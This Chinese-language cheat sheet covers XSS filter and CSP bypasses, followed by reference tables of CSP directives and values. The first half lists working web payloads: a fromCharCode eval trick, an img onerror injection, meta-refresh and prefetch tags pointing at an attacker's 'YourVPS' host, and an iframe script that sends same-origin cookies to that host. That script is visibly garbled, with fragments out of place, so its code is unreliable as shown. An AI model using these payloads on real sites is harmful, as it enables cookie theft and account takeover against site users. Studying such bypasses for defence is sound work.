一般绕过
1、检测 alert : 如 preg_match("",$var); Bypass:
eval(String.fromCharCode(97,108,101,114,116,40,41))
2、检测 script: 如 preg_match("",$var); Bypass:
<img src="" onerror="alert(1)">
3、用preg_macth()检测可以用数组传参绕过
CSP绕过
CSP(Content Security Policy)内容安全策略
科普在后面
同源策略 default-src:"self"
谷歌
<meta http-equiv="refresh" content="0;url=http://YourVPS">
<link rel="prerender" href="http://YourVPS">
火狐
<meta http-equiv="refresh" content="0;url=http://YourVPS">
<link rel="prefetch" href="http://YourVPS">
meta标签的http-equiv="refresh"
- 刷新、跳转页面
content中的0
- 多少秒跳转
link标签的 rel="prefetch"
- 预缓存
利用iframe获取同域cookie
<script>
var iframe = document.createElement("iframe");
.name="Testzero";
iframe.src="同域站点"//敏感目录
iframedocument.body.appendChild(iframe);
.href="http://YourVPS?cookie="+escape(Testzero.window.document.cookie);
location</script>
用法:
- Content-Security-Policy: 策略内的进行规定的进行相应的阻止
- Content-Security-Policy-Report-Only: 只报告不阻止
键说明
Key | 取值示例 | 说明 |
---|---|---|
default-src | ‘self’ xxx.example.com | 定义针对所有类型(js/image/css/web font/ajax/iframe/多媒体等)资源的默认加载策略,某类型资源如果没有单独定义策略,就使用默认。 |
script-src | ‘self’ js.example.com | 定义针对JavaScript的加载策略 |
object-src | ‘self’ | 针对,, 等标签的加载策略 |
style-src | ‘self’ css.example.com | 定义针对样式的加载策略 |
img-src | ‘self’ image.example.com | 定义针对图片的加载策略 |
media-src | ‘media.example.com’ | 针对或者引入的html多媒体等标签的加载策略 |
frame-src | ‘self’ | 针对iframe的加载策略 |
connect-src | ‘self’ | 针对Ajax、WebSocket等请求的加载策略。不允许的情况下,浏览器会模拟一个状态为400的响应 |
font-src | font.qq.com | 针对Web Font的加载策略 |
sandbox | allow-forms allow-scripts | 对请求的资源启用sandbox |
report-uri | /some-report-uri | 告诉浏览器如果请求的资源不被策略允许时,往哪个地址提交日志信息。不阻止任何内容,可以改用Content-Security-Policy-Report-Only头 |
base-uri | ‘self’ | 限制当前页面的url(CSP2) |
child-src | ‘self’ | 限制子窗口的源(iframe、弹窗等),取代frame-src(CSP2) |
form-action | ‘self’ | 限制表单能够提交到的源(CSP2) |
frame-ancestors | ‘none’ | 限制了当前页面可以被哪些页面以iframe,frame,object等方式加载(CSP2) |
plugin-types | application/pdf | 限制插件的类型(CSP2) |
值说明
Value | 示例 | 说明 |
---|---|---|
* | img-src * | 允许任何内容 |
‘none’ | img-src ‘none’ | 不允许任何内容 |
‘self’ | img-src ‘self’ | 允许同源内容 |
data: | img-src data: | 允许data:协议(如base64编码的图片) |
www.a.com | img-src www.a.com | 允许加载指定域名的资源 |
*.a.com | img-src *.a.com | 允许加载a.com任何子域的资源 |
https://img.com | img-srchttps://img.com | 允许加载img.com的https资源 |
https: | img-src https: | 允许加载https资源 |
‘unsafe-inline’ | script-src ‘unsafe-inline’ | 允许加载inline资源(style属性,onclick,inline js和inline css等等) |
‘unsafe-eval’ | script-src ‘unsafe-eval’ | 允许加载动态js代码,例如eval() |
以上表格引用自伯乐在线